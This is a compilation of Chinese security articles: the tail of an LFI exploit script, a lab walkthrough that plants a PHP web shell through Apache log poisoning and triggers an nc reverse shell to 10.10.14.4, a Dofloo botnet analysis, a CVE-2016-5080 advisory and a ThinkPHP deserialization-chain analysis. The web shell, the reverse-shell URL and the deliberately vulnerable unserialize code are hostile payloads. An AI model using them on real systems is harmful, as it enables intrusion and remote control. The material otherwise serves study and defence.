sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
print "Don't forget to modify the LFI URL"
main()
#### apache log getshell
我们可以通过日志文件记录php shell的内容，然后包含该内容，成功getshell
首先我们能够包含到/var/log/httpd-access.log文件
然后通过nc构造一句话访问网站
$ nc -vn 10.10.10.84 80
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Connected to 10.10.10.84:80.
<?php system($_GET['cmd']); ?>
HTTP/1.1 400 Bad Request
Date: Tue, 14 May 2019 09:50:29 GMT
Server: Apache/2.4.29 (FreeBSD) PHP/5.6.32
Content-Length: 226
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
</body></html>
这里为什么要用nc去访问，不用<http://xxxxxx/><?php
>这样的方式去访问，因为日志在存储的过程中会把符号转换成编码的形式，然后就无法产生一句话了。
最后我们包含日志文件成功反弹shell
http://10.10.10.84/browse.php?file=../../../../../../../../var/log/httpd-access.log&cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2%3E%261|nc+10.10.14.4+4444+%3E/tmp/f
参考：
<https://www.kingkk.com/2018/07/phpinfo-with-LFI/>
<https://rafalharazinski.gitbook.io/security/web-vulnerabilities/local-remote-file-inclusion/phpinfo-log-race-condition> | 社区文章 |
**作者：启明星辰ADLab**
**公众号：<https://mp.weixin.qq.com/s/5eUgB6uAg60PmwyVLm3yOA>**
## 引言
2019 年 4 月开始，启明星辰ADLab 观察到 Confluence 远程代码执行漏洞 CVE-2019-3396 被 Dofloo
僵尸网络家族用于攻占设备资源，Confluence 是一个专业的企业知识管理与协同软件，常用于构建企业 wiki。本次漏洞是由于 Confluence
Server 和 Confluence Data 中的 Widget Connector
存在服务端模板注入漏洞，攻击者构造特定请求可远程遍历服务器任意文件，甚至实现远程代码执行攻击。有意思的是 Dofloo
僵尸网络家族不仅开始利用高危漏洞进行攻击，而且其背后的黑客还利用一种更具影响力的“ **黑雀攻击**
”来入侵产业链，以掌控更加强大的网络攻击资源。而在此前，我们已经做了长时间的与Dofloo僵尸家族黑客产业链相关的研究，且已经确定了这种普遍存在于Dofloo家族中的“
**黑雀攻击现象** ”，并对其中的“ **黑雀** ”进行了长期追踪与分析。
此处，我们所提出 **“黑雀攻击”**
不仅是一种高效的黑客攻击手段，而且更是一种产业链级别的攻击方法，一般为黑色产业链上游黑客所为。黑雀攻击与供应链攻击有异曲同工之妙，只是攻击的目标不是常规的产业链，而是黑客产业链；受攻击链的末端也不是普通用户，而是极具危害性的黑客群体。在网络安全与黑客产业链的长期对抗，使得该产业链日渐成熟且复杂，并形成了一个庞大的黑客生态系统，而在利益和生存需求的驱使下，黑雀现象似乎变成了必然，甚至在食物链的上端进化出了黑雀生态，如
Death 僵尸网络的“大黑雀-黑雀-螳螂”。
自启明星辰ADLab 于 2016 年初发现黑雀攻击并于 2017 年 1 月发布《黑雀攻击-揭秘 Death
僵尸网络背后的终极控制者》之后，还相继在多个恶意代码家族中发现了黑雀攻击，并发布了深度分析报告《揭秘 Billgates
僵尸网络中的黑雀现象》和《黑雀攻击：揭秘 TF 僵尸物联网黑客背后的黑客》。在此前的黑雀分析和追踪中，我们揭露了 Death
僵尸网络背后的那个控制着上千僵尸子网络的超级黑客，以及深藏在 Billgates 僵尸网络和物联网僵尸 DDoSTF
家族背后的黑雀。此外我们还详细阐述了每个家族中“黑雀攻击”的黑客层次结构，如 Death 僵尸网络的三级黑客结构(大黑雀-黑雀-螳螂)， Billgates
和 TF 的二级黑客结构（黑雀-螳螂），以及对相关的大黑雀、黑雀和螳螂进行了网络行为分析和身份识别，并做了精准的黑客画像。
而本文将会详细阐述黑雀攻击的最新发现过程，以及 Dofloo
僵尸网络家族中所存在的“黑雀现象”。通过对家族进行全面的分析还发现，该僵尸家族的作者在制僵尸过程中就留有黑雀的接口，虽然少量精明的黑客发现了该接口并进行了清除，但是大部分的黑客成为被攻击对象，被植入了黑雀后门。本文中我们还会对
Dofloo 僵尸网络背后的黑雀进行深度挖掘和定位，并分析该家族与相似僵尸家族 MrBlack、DnsAmp、Flood.A 之间的同源特性。
## 一、 Dofloo僵尸家族简介
Dofloo，又名 Spike 和 AES.DDoS，是一款支持 ARM、x86、mipsd 等多 CPU 架构的僵尸网络程序。Dofloo 家族因
2014 年针对北美洲和亚洲多个国家进行高达 215Gbps
流量的攻击而出名，此后长期的攻占物联网设备资源并频繁地进行网络攻击活动。根据赛门铁克在2016年发布的《Internet Security Thread
Report》，Dofloo 僵尸网络恶意程序位列 2015 年度 IoT 领域恶意程序威胁排行榜第二名。
此外,Dofloo 还在 2016 年 9 月同 Mirai 僵尸一起参与了云计算公司 OVH 的攻击，本次攻击的流量超过了
1Tbps,创下了分布式拒绝服务攻击的历史记录，而同年的 10 月再次参与了 Miarai 僵尸主导的对域名服务商 Dyn 的大规模 DDoS
攻击,致使整个美国东海岸的网络处于极度瘫痪的状态。2019 年的 4 开始利用最新披露的远程代码执行漏洞 CVE-2019-3396
进行大面积传播，攻占了相当数量的网络设备。下图是我们根据 Dofloo 僵尸网络所实施的比较重要的攻击事件所绘制的攻击历史图：
## 二、 发现Dofloo僵尸中的黑雀
在长期的对僵尸网络的研究中，Dofloo一直是我们监控的对象。在之前的研究中，通过自动化分析该家族的关联样本，发现该家族的大部分样本都会启动两个新的攻击线程，并发现这两个线程存在异常行为。如：不仅会设置延迟启动线程，还会尝试跟另一个C&C控制端进行连接通信。因此，我们对这些样本进行了进一步的分析，最终确定该僵尸生态中被植入了黑雀。
针对我们收集到的1200个僵尸样本，绘制样本的上线频度占比如下：
从上图可以看出，有三个地址的上线频度远高于其他的C&C。结合样本分析发现，上线到这三个 C&C 地址的样本几乎都有两个独立控制的 C&C，并且僵尸回
连这三个 C&C 地址都是通过创建子线程的方式进行，而其关联的样本的另外一个 C&C
却是在主线程中进行回连。因此，通过该僵尸的这几个特性可以断定其中必定存在黑雀攻击的现象，而这三个 C&C 地址便是 Dofloo 僵尸生态中的黑雀 C&C
地址，与黑雀 C&C 地址相关联的其他 C&C 地址便是 Dofloo 僵尸生态中螳螂黑客的 C&C 地址。
我们对这三个黑雀C&C地址相关联的螳螂C&C做了分类统计，如下表所示：
可见，黑雀C&C 118.193.217.144掌控了最多的螳螂僵尸网络，在此后的分析中，通过溯源确定了这三个黑雀C&C受同一个黑客控制。
## 三、 Dofloo僵尸黑雀溯源与画像
通过对样本的分析，结合样本中的函数命名习惯、攻击流量特征、变种源码注释以及样本爆发传播时用来散播样本的HFS面板语言等特征，我们判定该家族由国内的黑客编写。于是我们溯源目标锁定在国内，通过对黑雀域名“aaa.tfddos.net”中关键信息
“tfddos”，我们关联到一款名为“台风DDoS”的僵尸软件。并且通过进一步分析发现，该僵尸软件的模板样本与 Dofloo
僵尸具有极为相似的行为和网络特性。此外，“台风DDoS”在黑客间活跃的时间同 Dofloo 爆发时间均在 2014
年。根据以上一系列的证据证明他们之间存在一定同源性。为了进一步确认他们为同一款僵尸程序，我们还利用 bindiff 对“台风DDoS”控制端生成的僵尸与
Dofloo 的样本进行了相似度比对，发现两者代码相似度为 100% 的代码占比超过 98%，因此可以确定“台风DDoS”便是 Dofloo
家族的一个主控。对比图如下：
通过对早期的“台风DDoS”的僵尸模板程序分析发现与Dofloo黑雀C&C相同的后门C&C：183.60.149.199。
此外，通过对“台风DDoS”的溯源发现，其曾在网站tfddos.com上作为官方软件被公开售卖，该网站虽然采用了与Dofloo黑雀域名“aaa.tfddos.net”不一样的域名，但他们都使用了“tfddos”作为域名的关键字，也即是“tai（台）
feng（风） ddos”。因而我们认为后门C&C：183.60.149.199与aaa.tfddos.net为同一黑客或者黑客组织所为。
对于黑雀 IP:118.193.217.144 的反查发现，在2017年，域名 wap.tfddos.net 和 aaa.tfddos.net 与该 IP
地址进行了长期的绑定。
从以上分析可以看出三个黑雀C&C（183.60.149.199、118.193.217.144、aaa.tfddos.net）实则为同一个黑客或者黑客组织所控制。为了更清晰的描述这些IP和域名之间的联系，总结出关系图如下：
为了追踪 Dofloo 僵尸网络背后的黑雀，我们先收集了 C&C 相关的信息并进行了分析。其中通过 IP：183.60.149.199
关联出来的相关域名大部分被作为色情网站或博彩网站使用，并无可用线索。而 tfddos.com 和 tfddos.net
都采取隐私保护方案，无法进行进一步的追溯。
幸运的是我们在“台风DDoS”的售卖历史记录中发现一起欺诈事件，事件中一位购买者披露了贩卖人员的 QQ
号码和支付宝账号。通过进一步分析，我们最后确认了该贩卖人员的 QQ 便是“台风DDoS”开发者的事实。此外我们还通过该 QQ
的关联信息收集到该人员有多年黑产从业历史：如其从 2011 年开始编写 DDoS 软件，并创建“台风工作室”；同时其还从事与 DDoS
相关的黑产业务，并通过贩卖恶意攻击软件和发动 DDoS 攻击来谋取非法收益。而此黑客便是我要溯源的 Dofloo
僵尸网络背后的黑雀,其除了开发有“台风DDoS”僵尸软件外，还开发多款 DDoS 攻击工具如：血腥DDoS、残暴DDoS 和暴雨DDoS 等。
通过此后长期的溯源分析，我们还追踪到了该黑雀在现实世界中的身份信息。此黑雀是河南南阳两家科技公司的监事，并且以 80 万元认缴资金持有其中一家科技公司
10% 的股份，背地里从事黑产活动。
依据我们对样本分析和溯源获取到的信息，整理和归纳后，总结并绘制出黑雀的画像如下：
## 四、 Dofloo僵尸典型样本分析
由于 Dofloo 支持多种 CPU 架构，我们在对这些平台的样本分析中发现，所有 Dofloo
支持的架构，都存在黑雀现象。但是僵尸作者对不同的架构的黑雀C&C处理略有不同，这对自动化分析也造成了一定的影响。我们对本次收集的共计 1200
个样本的架构所占比例进行了统计，绘制成图如下：
CPU 架构的分布图，一定程度上也说明了该家族入侵设备类型的分布，可以看到 ARM 设备的比例非常高，这也说明 ARM 下的设备受到黑雀控制的比例比较高。
接下来我们对 Dofloo 家族的典型样本进行了详细的剖析，并且根据大量样本提取归纳出典型的通讯流量和攻击流量特征,并对 Dofloo
家族进行了同源性分析。
### 4.1 安装机制
Dofloo 僵尸程序的安装机制有：僵尸程序在宿主机的持久化设置、进程唯一性判断和守护进程设置。
僵尸程序通过写入开机自启命令实现持久化。僵尸程序在启动后，会首先检查启动的命令行参数,
如果发现没有参数，那么恶意程序会默认是在该设备的第一次运行,此时会调用“autoboot”函数。在该函数中，调用“system”函数执行下表中的命令，以确保恶意程序在该设备重启后仍能够启动运行。这也是
Dofloo 恶意程序在宿主设备实现持久化的唯一方法。
僵尸程序通过对比系统中运行的进程名来确保运行进程的唯一性，并调用 fork 函数创建守护进程。
### 4.2 上线机制
在安装机制设置完毕后，僵尸程序与控制端 C&C
进行连接。此时恶意程序会收集被入侵设备的系统信息，并把这些信息作为上线包的内容发送到控制端处。这个上线包的内容包含内核版本、CPU
频率、总内存大小、网口带宽以及一些硬编码字符串，比如“VERSONEX”和大量样本中出现的“Hacker”。在黑雀的线程中，其上线机制的主体功能与螳螂线程处的功能相似度极高。不同的是，黑雀线程会延迟
15 小时和 40 分钟上线，这往往会迷惑分析人员并可能逃避自动化沙箱的检测，使得黑雀 C&C
隐匿在大量的请求中，减少被发现的可能。通过对大量样本的分析，我们发现上线包的固定大小为 0x400
字节，并对上线包格式解析、提取后归纳整理出真实的数据结构，其在内存中的分布如下图所示：
### 4.3 心跳机制
僵尸程序在SendInfo线程实现了自身的心跳机制。这个线程的主要功能是向螳螂控制端和黑雀控制端发送心跳包，心跳包内容包含当前CPU使用率和网络速度信息，通过以下2个步骤获取到这些内容：
(1) 检查“eth0”到“eth9”范围内以太网口的 ifconfig 信息。并通过读取`/proc/net/dev`目录信息来计算网络速率。
(2) 通过读取`/proc/stat`目录下的信息，获取 cpu 数量，计算占用百分比。
经过指定格式拼接后，会循环不断的发送信息到 C&C 端。下图为发送的心跳包信息：
比较有趣的是，下游的黑客在发动 DDoS
攻击的时候，可能根本不会想到，主控中显示的恶意程序的攻击流量速率几乎都是伪造的。我们在SendInfo线程中发现，当恶意程序执行 DDoS
攻击时，会调用“fake_net_speed”函数，该函数会根据不同的 DDoS
攻击的模式，在一个固定的范围内伪造攻击流量速率。下图为对部分计算随机流量的截图：
僵尸程序伪造的攻击流量数据范围如下表所示：
### 4.4 控制指令解析与DDoS攻击
发送完上线包之后，此时僵尸程序会等待接收控制端的控制指令。Dofloo
会首先把控制指令包的前四个字节作为模式指令码进行解析，由此来判断接下来要进行的操作，主要支持的操作有三种:
(1) 指令码为 0x5 时，进入 CmdShell 函数，该函数内部调用了 system 函数，可作为远控来下载或执行其他指定命令。
(2) 指令码为 0x6 时，进入 DealwithDDoS 函数，此函数为 DDoS 攻击函数，所有执行攻击的判断和逻辑都在此函数中。
(3) 指令码为 0x7 时候，调用 kill 函数，终止进程。
同时 Dofloo 家族对控制指令进行了 128 位的 AES
加密，这个特性大大增加了对其控制指令流量监控和识别的难度。我们对收集到的样本进行分析后发现，所有架构下僵尸程序用来解密的 KEY
都是相同的，这也说明互联网中 Dofloo 僵尸家族的样本都来自同一个模版。KEY 如下所示：
我们模拟了未加密的控制指令（除去前4个作为模式指令码的字节）在内存中的布局,其控制指令的各个字段的含义如下图所示：
当进入到 DealwithDDoS 函数时，僵尸程序根据指令，启动不同的攻击线程。Dofloo 家族不仅具有 SYN、HTTP 等传统的攻击方法，还具有利用
UDP 协议的反射放大的攻击方式，比如 DNS 放大攻击。下图为 Dofloo 可发起的典型的 DDoS 攻击的方法：
并且我们对 Dofloo 的攻击方法进行了分析总结，并对部分攻击方法的流量特征进行了提取，制作流量特征表如下：
我们在分析攻击线程的时候，发现 ARM 架构的恶意样本每次攻击创建的攻击线程非常多，单次攻击指令可创建几种甚至十几种不同类型的攻击线程。结合样本 CPU
的分布，我们可以得知 ARM 设备下的 Dofloo 恶意程序是该僵尸家族的主力，在 DDoS 攻击中提供了主要的流量支持。
同时根据监控到 Dofloo 攻击历史，发现该家族主要的攻击方式以 UDP Flood
为主，近年来黑客也越来越喜欢DNS和NTP等反射放大攻击手段来对服务器进行打击 ，Dofloo 的攻击方式占比也印证了这一点。同时我们也可以看到
Layer7 层的 CC_Flood 和 Layer4 层的 TCP_Flood、SYN Flood 作为传统的 DDoS
的攻击方式，其占比也一直较为稳定。并且我们根据相关的情报数据得知，Dofloo 的攻击量相对于其他的家族较少，我们分析推测 Dofloo
每次发动攻击时开启了大量的攻击线程，这样能加大发包量，快速导致目标服务器宕机。
下图为 Dofloo 僵尸家族攻击方式占比图：
### 4.5 同源性分析
我们观察到很多杀毒软件对 Dofloo 家族程序有不同的命名方式，甚至识别为其他家族的程序，因此为了确定 Dofloo
家族的源码构成，我们对其进行了同源性分析。
通过对 Dofloo 僵尸网络进行同源性分析，发现 Dofloo 僵尸网络家族同 Mr.Black 僵尸网络家族、Flood.A 以及 DnsAmp
僵尸家族有很高的相似度。首先，我们对 Mr.Black 家族中的典型样本和 Dofloo
家族的典型样本进行了对比，发现这两个家族的整体流程和部分代码高度相似，比如下图中的上线机制部分，通过对比可以看到，上线包的内容和格式也极为相似：
并且还可以看到 Mr.Black 同样有同名的，发起 DDoS 攻击的函数 DealWithDDoS，其发起攻击的控制指令编码也相同。
只不过 Mr.Black 中仅有 5 种 DDoS 攻击方式。通过查阅 Mr.Black 的源码，发现 Mr.Black 源码中并没有黑雀后门线程和 AES
加密，没有远控部分，仅能发起 DDoS 攻击。因此推测 Dofloo 为参考 Mr.Black 代码更改后的变种。
然后通过 Flood.A 同 Mr.Black 和 Dofloo 家族进行对比，发现 Flood.A 家族较 Mr.Black
家族新增“SynFLood_Message”黑雀后门线程，“DealwithDDoS”函数中增加 Layer7 层的 HTTP 洪水攻击，没有 AES
加密和远控功能，与 Mr.Black 家族较为相似,部分对比图如下：
在 DnsAmp 与 Dofloo 家族的对比中，我们发现其代码差别较大，但是主要攻击代码以及程序整体设计思路比较相似。在 DnsAmp
家族中，持久化仍然是通过设置“/etc/rc.d/rc.local”来保持开机自启，并且在启动后同 Dofloo
一样，会首先确定进程的唯一性。而它的攻击线程“AttackWorker”中，我们发现同 Dofloo
一样具有同名的攻击函数“DealwithDDoS”，只不过仅有 4 种攻击方式，分别为 udp，icmp，dnsAmp,syn 攻击。虽然 DnsAmp 与
Dofloo 整体代码相似度不是太高，但是根据其主要攻击代码和程序整体的设计思路，我们推测二者具有关联性，至少 DnsAmp 为参考 Dofloo
代码而产生的相似变种。部分对比图如下：
因此，我们大致可以推测出如下的关系：MrBlack可能为原始恶意程序，Flood.A为其变种，主要增加的功能有后门黑雀线程和HTTP洪水攻击；Dofloo可能为Mr.Black或Flood.A的变种，主要新增的特性有程序持久化设置，控制指令AES加密，以及添加多种DDoS攻击方法；推测DnsAmp为Dofloo的变种，它参考了Dofloo的部分代码和设计思路。我们总结其四者的关系图如下：
## 五、 总结
本篇报告重点对 Dofloo
僵尸网络家族中存在的黑雀现象进行了分析披露，并溯源追踪黑雀，产出黑雀画像。同时对典型的僵尸样本进行了分析，提取归纳出上线、心跳、控制指令和发起攻击的流量格式。
同时，通过对黑雀和螳螂的分析，证实了黑雀攻击所存在的潜在巨大危害。尽管部分黑客尝试去掉其黑雀线程并重新传播，但绝大多数的 Dofloo
僵尸样本仍然留有此类后门，也有黑客在确认黑雀 IP
或域名失效后降低了警惕性，但是我们发现有部分黑雀域名在潜伏一段时间后，仍会偶尔解析上线，对螳螂进行一波收割。所以，综合判断该黑雀僵尸资源丰富、实力强悍。此外，通过广泛的分析发现，这种攻击方式还大量存在于其他僵尸程序、WEB
Sehll
攻击工具及蠕虫木马攻击工具，这或许需要广大安全研究人员和安全机构共同留意此类攻击的幕后黑雀，重视该类威胁可能造成的巨大危害，及时发现并清除隐匿于网络中的一大威胁。
## 参考文献
1、 DDoS-Capable IoT Malwares: Comparative Analysis and Mirai Investigation
<https://www.hindawi.com/journals/scn/2018/7178164/>
2、 2017 Global botnet DDoS attack threat report
<http://www.antiy.net/p/2017-global-botnet-ddos-attack-threat-report>
3、 Internet Security Threat Report
<https://www.insight.com/content/dam/insight-web/en_US/article-images/whitepapers/partner-whitepapers/Internet%20Security%20Threat%20Report.pdf>
4、 Tango down report of OP China ELF DDoS'er
<http://blog.malwaremustdie.org/2014/09/tango-down-report-of-op-china-elf-ddoser.html>
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员，“黑雀攻击”概念首推者。截止目前，ADLab已通过CVE累计发布安全漏洞近1000个，通过
CNVD/CNNVD累计发布安全漏洞近500个，持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
# 安全公告：ASN.1编码中存在堆内存崩溃漏洞
|
##### 译文声明
本文是翻译文章，文章来源：github
原文地址：<https://github.com/programa-stic/security-advisories/tree/master/ObjSys/CVE-2016-5080>
译文仅供参考，具体内容表达以及含义原文为准。
**1.安全公告信息**
标题：Objective系统集成有限公司所设计的ASN.1编码规范中存在一个可以引发堆内存崩溃的安全漏洞。
漏洞CVE编号：CVE-2016-5080
公告URL地址：[http://www.fundacionsadosky.org.ar/publicaciones-2](http://www.fundacionsadosky.org.ar/publicaciones-2)
漏洞公布日期：2016-07-18
公告最新更新时间：2016-07-19
相关供应厂商：Objective系统集成公司
漏洞披露模式：协同披露
**2.漏洞信息**
漏洞分类：基于堆内存的缓冲区溢出[[http://cwe.mitre.org/data/definitions/122.html](http://cwe.mitre.org/data/definitions/122.html)]
漏洞影响：代码执行
是否远程可利用：是
是否本地可利用：是
漏洞标识：[http://cve.mitre.org/cgi-bin/cvename.cgi?name=2016-5080](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2016-5080)
**3.漏洞描述**
ASN.1抽象语法标记是一种 ISO/ITU-T 标准，它描述了一种对计算机网络数据进行表示、编码、传输和解码的数据格式规范。
它提供了一整套用于描述对象结构的格式标准，开发人员无需关心编程语言具体如何执行这些命令，而且也不用了解这些数据的具体指代在任何需要以数字方式发送信息的地方，ASN.1
都可以发送各种形式的信息（声频、视频、数据等等）。
ASN.1 和特定的 ASN.1
编码规则推进了结构化数据的传输，尤其是网络中不同应用程序之间的结构化数据传输，它以一种独立于计算机架构和语言的方式来描述数据结构。
OSI 协议中的应用层协议使用了 ASN.1 来描述它们所传输的 PDU，这些协议包括：用于传输电子邮件的 X.400，用于目录服务的 X.500，以及用于
VoIP 的 H.323 和 SNMP。它的应用还可以扩展到通用移动通信系统（UMTS）中的接入和非接入层。
ASN.1 取得成功的一个主要原因是它与几个标准化编码规则相关，如基本编码规则（BER） -X.209
、规范编码规则（CER）、识别名编码规则（DER）、压缩编码规则（PER）和 XML编码规则（XER）。这些编码规则描述了如何对 ASN.1
中定义的数值进行编码，以便用于传输，而无需关心计算机、编程语言或它在应用程序中如何表示等因素。
ASN.1 的编码方法比许多与之竞争的标记系统更为先进，它支持可扩展信息快速可靠的传输 — 在无线宽带中，这是一种优势。1984年，ASN.1
就已经成为了一种国际标准，它的编码规则已经十分成熟了，并在可靠性和兼容性方面拥有更加丰富的处理经验。ASN.1是描述在网络上传输信息格式的标准方法。它主要由两个部分组成：一部分用于描述信息内部的数据，数据类型，以及序列格式；另一部分用于描述如何将各部分数据组成消息。它原来是作为X.409的一部分而开发的，后来才自己独立成为一个标准。
ASN.1 的描述可以容易地被映射成 C 或 C++ 或 Java 的数据结构，它可以被应用程序代码使用，并得到运行时程序库的支持，进而能够编码和解码
XML或TLV 格式的数据。
除此之外，ASN.1也是一种用于描述结构化客体的结构和内容的语言。ASN.1 C++编译器是ASN.1 C编译器的增强版本,
它采用了面向对象编程技术。ASN.1 C++编译器可以自动将ASN.1规范编译为C++类和用来编解码的元数据。此外，C++运行时库的ASN.1也是ASN.1
C++编译器软件包的一部分。ASN.1 C++运行库同时也是面向元数据的，元数据可以在运行时载入，并且可以在使用后释放。
Objective集成系统有限公司是美国的一家私营企业，ASN1C编译器正是由这家公司开发设计的。目前，在电信，数据网络，航空航天，国防部门，以及政府执法部门等多个领域的企业或组织都在使用这一编译器。
这个存在于ASN1C编译器运行时支持库中的漏洞将会允许攻击者在目标软件系统中远程执行代码，受影响的系统还包括使用了ASN1C编译器的嵌入式软件系统在内。根据安全研究专家的分析，当目标系统中的漏洞代码从不受信任的来源处接收并处理ASN.1编码数据时，攻击者就可以在不经过任何身份验证的情况下远程触发这一漏洞。在移动设备和通信运营商的网络基础设施节点之间的通信，以及运营商网络节点之间的通信过程中，都将有可能出现这样的安全问题。
据了解，Objective集成系统有限公司目前已经成功解决了这个问题，并且为了满足客户的需求，公司还发布了一个临时版本的ASN1C
C/C++编译器。根据公司透露的信息，他们将会在下一版本(v7.0.2)的ASN1C编译器中正式修复这一漏洞。
如果大家想要了解更多关于受影响厂商和漏洞缓解方案的信息，请访问CERT/CC发布的漏洞公告。
**4.受漏洞影响的系统**
任何使用了ASN.1编码规范的软件系统都将会受到这一漏洞的影响。除此之外，7.0版本及7.0版本以下的ASN1C编译器也将会受到该漏洞的影响。CERT/CC漏洞公告中提供了一个受此漏洞影响的厂商名单，感兴趣的读者可以点击查看。
**5.厂商信息和解决方案**
为了满足客户的要求，厂商已经发布了一个临时版本的ASN1C(v7.0.1)以供用户使用。公司将会在ASN1C v7.0.2正式版本中修复这一漏洞。
**6.漏洞发现者**
这个漏洞是由安全研究专家Lucas Molas发现并报告的。
**7.技术细节**
在这一部分，我们将详细描述Objective集成系统有限公司所发布的最新版本ASN1C编译器(v7.0.0)中存在的这个安全漏洞。安全研究专家发现，在编译器的rtxMemHeapAlloc函数中包含有一个预编译的asn1rt_a.lib库，并在其中检测到了两个整数溢出问题，这个问题将有可能允许攻击者在目标系统中引发堆内存崩溃。
安全研究专家使用了IDA(v6.9)来对程序进行了反编译，并提取出了相应的代码块来进行进一步的分析。在对这个预编译的代码库进行了分析之后，研究人员便从clib路径下提取出了asn1rt_a.lib。
在对rtxMemHeapAlloc函数的分析过程中，研究人员首先对程序的堆内存(pMemHeap)进行了初步分析，rtxMemHeapCreate函数和rtxMemHeapCheck函数会在堆内存空间中被调用，nbytes参数（反编译结果为arg_4）会被修改。程序会利用ecx寄存器来将参数值填充至八个字节大小（或者八字节的整数倍），并将结果存储至变量var_9C之中。为了实现这一步操作，在对结果值进行移位操作之前，ecx的值会加7。在32位寄存器中，如果没有对结果值进行检测，那么当nbytes的值为0xFFFFFFF9或者更大时，则将有可能引起整数溢出问题。具体代码如下所示：
loc_A6:
mov ecx, [ebp+arg_4]
add ecx, 7
shr ecx, 3
mov [ebp+var_9C], ecx
mov edx, [ebp+var_18]
mov eax, [edx+18h]
and eax, 20000000h
jnz short loc_D2
rtxMemHeapAlloc函数并不会对nbytes参数进行任何验证，因此，程序就只能指望参数的调用者来对其进行检测，以确保它的值不会溢出。但是，rtxMemHeapAlloc函数的调用者是一个由ASN1C编译器自动生成的函数，通常这类函数在默认情况下并不会对传递的参数进行任何限制，除非我们手动对其进行
设置。
如果malloc函数被调用，var_9C变量中的值将会被丢弃，取而代之的是nbytes参数的初始值。在这个值被保存至变量var_E8中之前，会在ecx寄存器中加上14h。
此时，代码并不会对这个值进行检测，如果参数nbytes的值为0xFFFFFFEC或者更大的话，将有可能引起整数溢出问题。具体代码如下：
loc_D2:
mov ecx, [ebp+arg_4]
add ecx, 14h
mov [ebp+var_E8], ecx
mov edx, [ebp+var_E8]
push edx
mov eax, [ebp+var_18]
mov ecx, [eax+1Ch]
call ecx
add esp, 4
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jnz short loc_120
由于该漏洞存在于核心运行支持库中，所以安全研究专家很难去评估该漏洞的利用情况。
但是根据分析之后的结果显示，攻击者可以利用这个漏洞来引发系统堆内存崩溃，或者是引起内存空间的分配问题。
由于篇幅有限，如果读者还想了解更多有关这一漏洞的详细信息，请点击查看原文。 | 社区文章 |
2019年7月25日，在 **ThinkPHP** 官方 **github** 上有人提交了这个 **issue**
，遂想一探究竟。(鉴于该POP链已大范围公开，这里便公开之前写的分析文章)
## 环境搭建
➜ composer create-project --prefer-dist topthink/think tp5137
➜ cd tp5137
➜ vim composer.json # 把"topthink/framework": "5.1.*"改成"topthink/framework": "5.1.37"
➜ composer update
将 **application/index/controller/Index.php** 代码修改成如下：
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$u = unserialize($_GET['c']);
return 'hhh';
}
public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}
## 利用条件
* 有一个内容完全可控的反序列化点，例如： `unserialize(可控变量)`
* 存在文件上传、文件名完全可控、使用了文件操作函数，例如： `file_exists('phar://恶意文件')`
（满足以上任意一个条件即可）
## 漏洞链
这个漏洞个人认为比较有意思的是：通过 **file_exists** 函数触发类的 **__toString**
方法。下面，我们具体分析一下整个漏洞攻击链。
在 **think\process\pipes\Windows** 类的 **__destruct** 方法中，存在一个删除文件功能，而这里的文件名
**$filename** 变量是可控。如果我们将一个类赋值给 **$filename** 变量，那么在
**file_exists($filename)** 的时候，就会触发这个类的 **__toString** 方法。因为 **file_exists**
函数需要的是一个字符串类型的参数，如果传入一个对象，就会先调用该类 **__toString** 方法，将其转换成字符串，然后再判断。
接下来，我们就来寻找可利用的 **__toString** 方法。全局搜索到的 **__toString**
方法其实不多，这里有两处都可以利用。它们的区别在于利用 **think\Collection** 构造的链要多构造一步，我们这里只分析链较短的
**think\model\concern\Conversion** 。
如下图 **第191-192行** 所示， **$relation** 变量来自 **$this- >data[$name]** ，而这个变量是可以控制的。
**第192行** 的 **$name** 变量来自 **$this- >append** ，也是可以控制的。所以 **$relation->visible($name)** 就变成了： **可控类- >visible(可控变量)** 。那么接下来，就要找可利用的 **visible**
方法，或者没有 **visible** 方法，但有可利用的 **__call** 方法。
全局搜了一下 **visible** 方法大概有3处，但是都不能利用，所以我们考虑寻找可利用的 **__call** 方法。在搜 **__call**
方法的时候，会发现有一处 **think\Request** 类比较好利用，因为这里 **call_user_func_array**
函数的第一个参数完全可控。构造 **EXP** 的时候可以传入数组，变成
**call_user_func_array(array(任意类,任意方法),$args)** ，这样我们就可以调用任意类的任意方法了。虽然第330行用
**array_unshift** 函数把本类对象 **$this** 放在数组变量 **$args** 的第一个，但是我们可以寻找不受这个参数影响的方法。
分析过 **ThinkPHP** 历史 **RCE** 漏洞的人可能知道， **think\Request** 类的 **input**
方法经常是链中一个非常棒的 **Gadget** ，相当于 **call_user_func($filter,$data)** 。但是前面我们说过，
**$args** 数组变量的第一个元素，是一个固定死的类对象，所以这里我们不能直接调用 **input** 方法，而应该寻找调用 **input**
的方法。
调用 **input** 的方法共有7处，我这里直接选择比较简单的 **request** 方法来分析，因为这7处关键代码都类似。如果这里通过调用
**request** 方法间接调用 **input** 方法，实际上框架会报错退出的。因为这里传给 **input** 方法的 **$name**
（下图右边第1092行），实际上是先前 **call_user_func_array(array(任意类,任意方法),$args)** 中
**$args** 数组的第一个变量，即我们前面说的一个固定死的类对象。然而如果把一个类对象作为 **$data** 传给 **input**
方法，那么在强转成字符串的时候（上图左边1354行），框架就会报错退出。
所以我们这里还要继续找有哪些地方调用了这7处。这里搜了调用 **param** 方法的地方，发现 **isAjax** 和 **isPjax**
都可以利用，因为他们传入 **param** 方法的第一个参数均可控。
